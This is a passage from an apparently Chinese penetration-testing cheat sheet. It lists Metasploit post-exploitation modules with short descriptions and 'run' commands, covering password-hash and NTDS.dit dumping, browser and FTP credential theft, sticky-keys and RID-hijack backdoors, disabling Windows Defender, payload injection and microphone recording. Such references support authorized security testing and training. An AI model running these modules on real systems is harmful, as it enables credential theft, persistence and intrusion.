post/windows/gather/enum_ie 描述:枚举Internet Explorer用户数据 命令:run post/windows/gather/enum_ms_product_keys 描述:枚举OS许可证密钥 命令:run post/windows/gather/enum_patches 描述:检测目标已安装补丁 命令:run post/windows/gather/enum_services 描述:枚举Windows服务信息 命令:run post/windows/gather/enum_termserv 描述:转储MRU和RDP会话的连接数据 - HKU\User SID\Software\Microsoft\Terminal Server Client\Default - HKU\User SID\Software\Microsoft\Terminal Server Client\Servers 命令:run post/windows/gather/enum_tokens 描述:枚举域管理员令牌(Token Hunter) 命令:run post/windows/gather/forensics/browser_history 描述:收集Skype聊天记录,Firefox和Chrome历史记录数据 命令:run post/windows/gather/forensics/enum_drives 描述:列出目标主机物理驱动器和逻辑卷 命令:run post/windows/gather/forensics/recovery_files 描述:枚举和恢复已删除的文件 命令:run post/windows/gather/hashdump 描述:从SAM数据库转储本地帐户和密码哈希值 命令:run post/windows/gather/lsa_secrets 描述:尝试枚举HKLM\Security\Policy\Secrets\LSA Secrets键 命令:run post/windows/gather/make_csv_orgchart 描述:使用管理器信息生成一个包含所有用户CSV文件 命令:run post/windows/gather/memory_grep 描述:允许搜索进程的内存空间潜在的敏感数据 命令:run post/windows/gather/ntds_grabber 描述:在域控制器上用Powershell获取NTDS.DIT,SAM和SYSTEM 命令:run post/windows/gather/ntds_location 描述:通过注册表检查NTDS.DIT文件位置以及是否存在 命令:run post/windows/gather/phish_windows_credentials 描述:收集Windows用户凭据(用于网络钓鱼) 命令:run post/windows/gather/psreadline_history 描述:收集目标PowerShell执行记录(用于数据取证) 命令:run post/windows/gather/usb_history 描述:枚举目标机器上的USB驱动器历史记录 命令:run post/windows/gather/word_unc_injector 描述:Microsoft Office Word UNC路径注入器 命令:run post/windows/manage/add_user_domain 描述:将用户添加到域和/或域组 命令:run post/windows/manage/archmigrate 描述:使用正确的体系结构并迁移到该进程 命令:run post/windows/manage/change_password 描述:修改本地或域用户的密码 命令:run post/windows/manage/delete_user 描述:删除本地用户帐户 命令:run post/windows/manage/driver_loader 描述:Windows管理驱动程序加载程序 命令:run post/windows/manage/enable_support_account 描述:将SUPPORT_388945a0用户克隆成管理权限 命令:run post/windows/manage/exec_powershell 描述:在meterpreter中执行powershell脚本或命令 命令:run post/windows/manage/mssql_local_auth_bypass 描述:本地Microsoft SQL Server授权绕过 命令:run post/windows/manage/payload_inject 描述:将Payload注入到指定进程的内存空间中执行 命令:run post/windows/manage/peinjector 描述:将指定Windows Payload注入到目标可执行文件 命令:run post/windows/manage/powershell/exec_powershell 描述:下载并执行PowerShell脚本 命令:run post/windows/manage/remove_host 描述:删除hosts文件中主机条目 命令:run post/windows/manage/rid_hijack 描述:劫持RID为500的管理员用户权限 命令:run post/windows/manage/rollback_defender_signatures 描述:禁用Windows Defender实时防护(MpCmdRun) 命令:run post/windows/manage/run_as 描述:以管理员身份运行命令 命令:run post/windows/manage/run_as_psh 描述:以指定用户另启动Powershell进程 命令:run post/windows/manage/sdel 描述:阻止恢复已删除的文件,覆盖其内容 命令:run post/windows/manage/sticky_keys 描述:粘滞键持久性模块(Shift后门) 命令:run post/windows/manage/vmdk_mount 描述:在驱动器上安装vmdk虚拟机磁盘文件 命令:run post/windows/manage/vss_create 描述:Windows创建卷影副本 命令:run post/windows/manage/vss_list 描述:Windows卷影副本列表 命令:run post/windows/manage/vss_mount 描述:Windows安装卷影副本 命令:run post/windows/manage/vss_set_storage 描述:Windows设置卷影副本存储空间 命令:run post/windows/manage/vss_storage 描述:Windows获取卷影副本存储信息 命令:run post/windows/manage/wdigest_caching 描述:修改注册表抓Win8/12明文密码(Wdigest) 命令:run post/windows/recon/computer_browser_discovery 描述:Windows Recon计算机浏览器发现 命令:run post/windows/recon/outbound_ports 描述:Windows 防火墙出站过滤规则 命令:run post/windows/recon/resolve_ip 描述:Windows Recon解析IP 命令:run post/windows/wlan/wlan_bss_list 描述:收集无线SSID信息 命令:run post/windows/wlan/wlan_current_connection 描述:收集当前无线连接信息 命令:run post/windows/wlan/wlan_disconnect 描述:断开当前连接无线网络 命令:run post/windows/wlan/wlan_probe_request 描述:通过WLAN接口发送探测请求 命令:run post/windows/wlan/wlan_profile 描述:提取目标机器已保存的无线网络密匙 命令:run post/windows/escalate/getsystem 描述:使用内置’getsystem’命令来提升权限 命令:run post/windows/escalate/golden_ticket 描述:Windows升级黄金票据 命令:run post/windows/gather/arp_scanner 描述:ARP存活主机扫描 命令:run post/windows/gather/bitcoin_jacker 描述:从目标下载任何比特币钱包文件系统 命令:run post/windows/gather/cachedump 描述:提取注册表里缓存的域哈希值 命令:run post/windows/gather/credentials/flashfxp 描述:从FlashFXP中提取弱加密保存的FTP密码 命令:run post/windows/gather/credentials/mcafee_vse_hashdump 描述:McAfee Virus Scan企业密码哈希转储 命令:run post/windows/gather/credentials/mdaemon_cred_collector 描述:查找并破解MDaemon Email Server存储密码 命令:run post/windows/gather/credentials/mssql_local_hashdump 描述:从MSSQL中提取用户名和密码哈希值 命令:post/windows/gather/credentials/credential_collector 描述:获取帐户和密码哈希值以及Tokens信息 命令:run post/windows/gather/credentials/domain_hashdump 描述:实时复制NTDS.dit,解析所有帐户、密码哈希值 命令:run post/windows/gather/credentials/sso 描述:收集明文SSO单点登录凭据 命令:run post/windows/gather/credentials/steam 描述:收集Steam客户端会话信息 命令:run post/windows/gather/credentials/tortoisesvn 描述:提取并解密已保存的TortoiseSVN密码 命令:run post/windows/gather/credentials/total_commander 描述:从Total的wcx_ftp.ini中提取保存的FTP密码 命令:run post/windows/gather/credentials/trillian 描述:从Trillian和Trillian Astra中提取帐户密码 命令:run post/windows/gather/credentials/windows_autologin 描述:抓取自动登录的用户名和密码 命令:run post/windows/gather/credentials/winscp 描述:收集WinSCP保存的密码 命令:run post/windows/gather/credentials/wsftp_client 描述:从WS_FTP的ws_ftp.ini文件中提取保存的FTP密码 命令:run post/windows/gather/dnscache_dump 描述:显示存储在DNS缓存中的记录 命令:run post/windows/gather/dumplinks 描述:获取用户最近文档中的所有快捷方式文件 命令:run post/windows/gather/enum_ad_bitlocker 描述:枚举BitLocker恢复密码 命令:run post/multi/gather/check_malware 描述:检测指定文件是否为恶意程序 命令:run post/multi/gather/chrome_cookies 描述:读取chrome浏览器的cookie 命令:run post/multi/gather/dbvis_enum 描述:将DbVisualizer用户数据库配置存储在dbvis.xml 命令:run post/multi/gather/filezilla_client_cred 描述:从FileZilla FTP客户端收集凭据 命令:run post/multi/gather/firefox_creds 描述:获取Firefox中存储的用户名和密码 命令:run post/multi/gather/multi_command 描述:运行指定文件中的多条Windows系统命令 命令:run post/multi/gather/pgpass_creds 描述:通过pgpass.conf文件并解析它们以获取凭据 命令:run post/multi/gather/resolve_hosts 描述:将主机名解析为IPv4或IPv6地址 命令:run post/multi/gather/wlan_geolocate 描述:枚举目标设备可见的无线网络 命令:run post/multi/general/close 描述:关闭指定的SESSION会话 命令:run post/multi/general/execute 描述:执行任意Windows系统命令 命令:run post/multi/manage/dbvis_add_db_admin 描述:DbVisualizer创建管理员 命令:run post/multi/manage/dbvis_query 描述:DbVisualizer查询 命令:run post/multi/manage/multi_post 描述:执行宏文件中给出的模块列表 命令:run post/multi/manage/open 描述:在目标计算机上打开文件或URL 命令:run post/multi/manage/record_mic 描述:启用并记录目标的麦克风 命令:run post/multi/manage/screensaver 描述:打开或关闭屏幕保护程序 命令:run post/multi/manage/set_wallpaper 描述:设置桌面壁纸背景 命令:run post/multi/manage/upload_exec 描述:上传和执行文件 命令:run post/multi/manage/zip 描述:压缩文件和目录 命令:run post/multi/recon/local_exploit_suggester 描述:检测目标可利用提权模块 |
---|
(4) 其它可加载Post模块(未测84)
post/windows/gather/enum_ad_managedby_groups post/windows/gather/enum_ad_to_wordlist post/windows/gather/enum_artifacts post/windows/gather/enum_domain_tokens post/windows/gather/enum_domain_users post/windows/gather/enum_proxy post/windows/gather/enum_tomcat post/windows/gather/enum_trusted_locations post/windows/gather/enum_unattend post/windows/gather/file_from_raw_ntfs post/windows/gather/forensics/duqu_check post/windows/gather/forensics/imager post/windows/gather/forensics/nbd_server post/windows/gather/local_admin_search_enum post/windows/gather/outlook post/windows/gather/resolve_sid post/windows/gather/reverse_lookup post/windows/gather/tcpnetstat post/windows/gather/win_privs post/windows/manage/clone_proxy_settings post/windows/manage/forward_pageant post/windows/manage/hashcarve post/windows/manage/ie_proxypac post/windows/manage/inject_ca post/windows/manage/nbd_server post/windows/manage/portproxy post/windows/manage/powershell/build_net_code post/windows/manage/pptp_tunnel post/windows/manage/priv_migrate post/windows/manage/pxeexploit post/windows/manage/reflective_dll_inject post/windows/manage/remove_ca post/windows/gather/ad_to_sqlite post/windows/gather/bitlocker_fvek post/windows/gather/credentials/avira_password post/windows/gather/credentials/bulletproof_ftp post/windows/gather/credentials/ftpnavigator post/windows/gather/credentials/enum_cred_store post/windows/gather/credentials/enum_picasa_pwds post/windows/gather/credentials/razer_synapse post/windows/gather/credentials/rdc_manager_creds post/windows/gather/credentials/purevpn_cred_collector |
post/windows/gather/credentials/enum_laps post/windows/gather/credentials/epo_sql post/windows/gather/credentials/ftpx post/windows/gather/credentials/gpp post/windows/gather/credentials/heidisql post/windows/gather/credentials/idm post/windows/gather/credentials/imail post/windows/gather/credentials/imvu post/windows/gather/credentials/meebo post/windows/gather/credentials/mremote post/windows/gather/credentials/nimbuzz post/windows/gather/credentials/outlook post/windows/gather/credentials/razorsql post/windows/gather/credentials/skype post/windows/gather/credentials/smartermail post/windows/gather/credentials/coreftp post/windows/gather/credentials/dynazip_log post/windows/gather/credentials/dyndns post/windows/gather/credentials/smartftp post/multi/gather/apple_ios_backup post/multi/gather/dns_bruteforce post/multi/gather/dns_reverse_lookup post/multi/gather/dns_srv_lookup post/multi/gather/enum_vbox post/multi/gather/find_vmx post/multi/gather/jboss_gather post/multi/gather/jenkins_gather post/multi/gather/lastpass_creds post/multi/gather/maven_creds post/multi/gather/pidgin_cred post/multi/gather/ping_sweep post/multi/gather/run_console_rc_file post/multi/gather/skype_enum post/multi/gather/thunderbird_creds post/multi/gather/tomcat_gather post/multi/manage/hsts_eraser post/multi/manage/play_youtube post/multi/recon/multiport_egress_traffic post/osx/gather/apfs_encrypted_volume_passwd post/windows/capture/lockout_keylogger post/windows/escalate/droplnk post/windows/escalate/ms10_073_kbdlayout |
---|---|